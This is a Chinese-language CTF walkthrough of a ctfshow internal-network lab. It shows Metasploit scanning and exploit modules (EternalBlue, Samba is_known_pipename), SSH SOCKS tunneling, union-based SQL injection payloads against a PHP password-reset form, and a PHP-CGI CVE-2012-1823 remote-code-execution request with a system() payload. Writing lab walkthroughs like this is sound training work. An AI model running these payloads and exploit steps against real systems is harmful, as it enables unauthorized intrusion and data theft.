ctfshow--一个有趣的内网靶场
本文作者幽壑,本文属于i春秋原创激励计划,欢迎师傅们标明出处转载,一同交流。
https://bbs.ichunqiu.com/thread-63574-1-1.html
国护夜班实在太无聊了,半夜燥热,客户还偷偷藏我们项目经理买的零食,哎,浅浅摸个鱼 打个ctfshow内网靶场。
记一次步履艰辛的渗透靶场(超详细!)
题目给了一个ssh连接的攻击机。
废话不多说,直接连接
ssh ctfshow@pwn.challenge.ctf.show -p 28167
然后我就卡在这里卡了好久,权限低的可怕,文件也写不了,甚至很多基础命令都用不了,找了好久题目中说的“预置了某些工具”。途中我尝试了搭建socks5隧道、不同目录写webshell等,均失败了。
最后只能一个一个翻,才终于翻到了,在opt目录下存放的metasploit-framework。
find命令是可以直接找到的,但是!!!我怎么知道是什么工具哇!!然后msf的名字又这么长o.O,这,真没想到第一步这么艰辛。
本以为找到工具后就好说了
msfconsole # msf启动
一大堆报错,简单的读了读好像是权限不够,好像是让我给一个日志文件权限???
chmod 0664 /home/ctfshow/.msf4/logs/production.log
又报错了,没有这个文件。。
我又尝试给msf权限
’Operation not permitted‘ 操作不允许
行,那我用root的权限总行了吧。
终于能用了,泪目。
选择一个模块进行探测扫描,这里用端口扫描吧。(这里嫌扫全端口太慢了就随便扫了扫qwq)
use auxiliary/scanner/portscan/tcp
show options
set rhosts 172.2.43.4/24
set ports 80,8080,3306,6379
run
扫描到存活ip172.2.43.5开放80端口
这里一瞬间我是先想到了ms17010,然后打了一个pyload,啥也没有O.o
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 172.2.43.5
run
没办法,又回到了刚刚扫出来的这个80端口,嗯80端口,唔80端口,有什么有什么办法能搭建个隧道访问到这个80端口呢,百度查了一波msf搭建隧道,还真可以,别急,先curl看看这个80端口有什么(//////)
(这里其实想到了利用ssh搭隧道,但是想试试其他方法)
!!!!!!!wowwwwwwwwwwwwwwwww!!!干劲十足!冲!。
ps:这里我又去尝试了一下ssh搭建sock5代理,为什么不行啊啊啊啊啊啊!!!请大佬指点一下!!
msf搭建socks代理部分内容参考文章:https://blog.csdn.net/u014029795/article/details/117375754 (我是菜逼,这个文章描述的更详细,我仅仅做简单总结)
次日
wtfuck!!还是没成功!!!感觉可能是要利用msf上线攻击机才行??我自己上线我自己。
试试其他思路行不行。
ftp上传代理工具
ftp默认连接的账号权限不足
使用xshell的root账号加一下权限
mkdir 111
chomd 777 111
搞定。
次次日,查阅了一些文章,原来反代必须要机子能出网,不出网的机子只能考虑通过webshell之类的方法进行正代,但是这台机子有没有web服务,难道自己搭一个??好像也可行?但是好麻烦。。。
这篇文章细的o.O 关于出网和不出网的机子隧道搭建
https://www.zhihu.com/tardis/zm/art/341685611?source_id=1005
最后折腾了一波,最后还是通过ssh搭了socks5隧道。。。
利用xshell的转移规则
proxifier
访问内网那台机子。
试了试弱口令
不行。
在前端发现gitee源码地址
难道考察代码审计???
看一下入口文件index.php,请求都是发给api/index.php,那咱们也跟进一下
<h3>管理员登陆</h3>
<form action="api/index.php?a=login" method="post">
<div class="fields-grid">
<div class="styled-input agile-styled-input-top">
<input type="text" name="username" required="">
<label>User Name</label>
<span></span>
</div>
api/index.php
眼睛一下子就看到了sql语句
function doLogin(){
include 'config.php';
$username = $this->doFilter($_POST['username']);
$password = $this->doFilter($_POST['password']);
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$sql = "select password from user where username = '$username' and password = '$password' limit 0,1;";
$result = $conn->query($sql);
$row = $result->fetch_array(MYSQLI_ASSOC);
if($row['password']===$password){
$_SESSION['LOGIN']=true;
}else{
$_SESSION['LOGIN']=false;
$_SESSION['msg']='登陆失败';
}
……
}
但是账号密码都经过了一次doFileter方法,跟进一下看看
function doFilter($str){
$str = str_replace("'", "%27", $str);
$str = str_replace("\"", "%22", $str);
$str = str_replace("\\", "%5c", $str);
return $str;
}
没戏,再看看,发现一个doView方法,感觉可以文件包含shell,但是进行了checkSession,验证了登录。
function doView(){
$this->checkSession();
$file=str_replace("..","",$_POST['file']);
if(file_exists($file)){
header("Content-type: image/jpeg");
echo file_get_contents("../ckfinder/userfiles/".$file);
}
}
function checkSession(){
if($_SESSION['LOGIN']!==true){
die("请先登陆");
return false;
}else{
return true;
}
}
再看看重置密码,username经过了doFilter,但是email只经过了filter验证邮箱格式,而没有进行危险关键字过滤就直接带入了查询,然后进行了返回。
function doReset(){
include 'config.php';
$email = filter_input(INPUT_POST,'email',FILTER_VALIDATE_EMAIL);
$username = $this->doFilter($_POST['username']);
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$sql = "select email from user where email = '$email' and username = '$username'";
$result = $conn->query($sql);
$row = $result->fetch_array(MYSQLI_ASSOC);
if($row['email']){
$_SESSION['RESET']=true;
$this->email = $row['email'];
$_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email;
}else{
$_SESSION['RESET']=false;
$_SESSION['msg']="邮箱不存在";
}
$conn->close();
$this->dispatcher("../index.php");
}
那么我们就可以构造一下恶意的sql语句来拿到账号密码
username=admin&email='union/**/select/**/username/**/from/**/user#@qq.com
以及
username=admin&email='union/**/select/**/password/**/from/**/user#@qq.com
输入账号密码进来
测试了一波没什么进展,我突然就想再回去fscan扫描一下有没有其他服务器。
然后我又爬回xftp上传了fscan重新进行了扫描,大意了。
chmod
./fscan -h 172.2.95.0/24
有cve!!!(PHP-CGI远程代码执行漏洞 CVE-2012-1823)
网上搜了一个poc直接rce了。0.0
POST /index.php/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
<?php echo system("ls"); ?>
写入webshell
怎么找也没找到flag,问了问才知道,原来在另一台机子上,msf直接打445的Samba
msfconsole
use exploit/linux/samba/is_known_pipename
set rhost 172.2.95.6
exploit
总的来说,通过这次靶场经历,一定程度上巩固内网基础,也对正反代也有了更深刻的理解。
tip:只有Neo可以用于不出网机子的隧道建立,属于正向代理,而frp、ew之类的工具属于反向代理,无法用于不出网的机子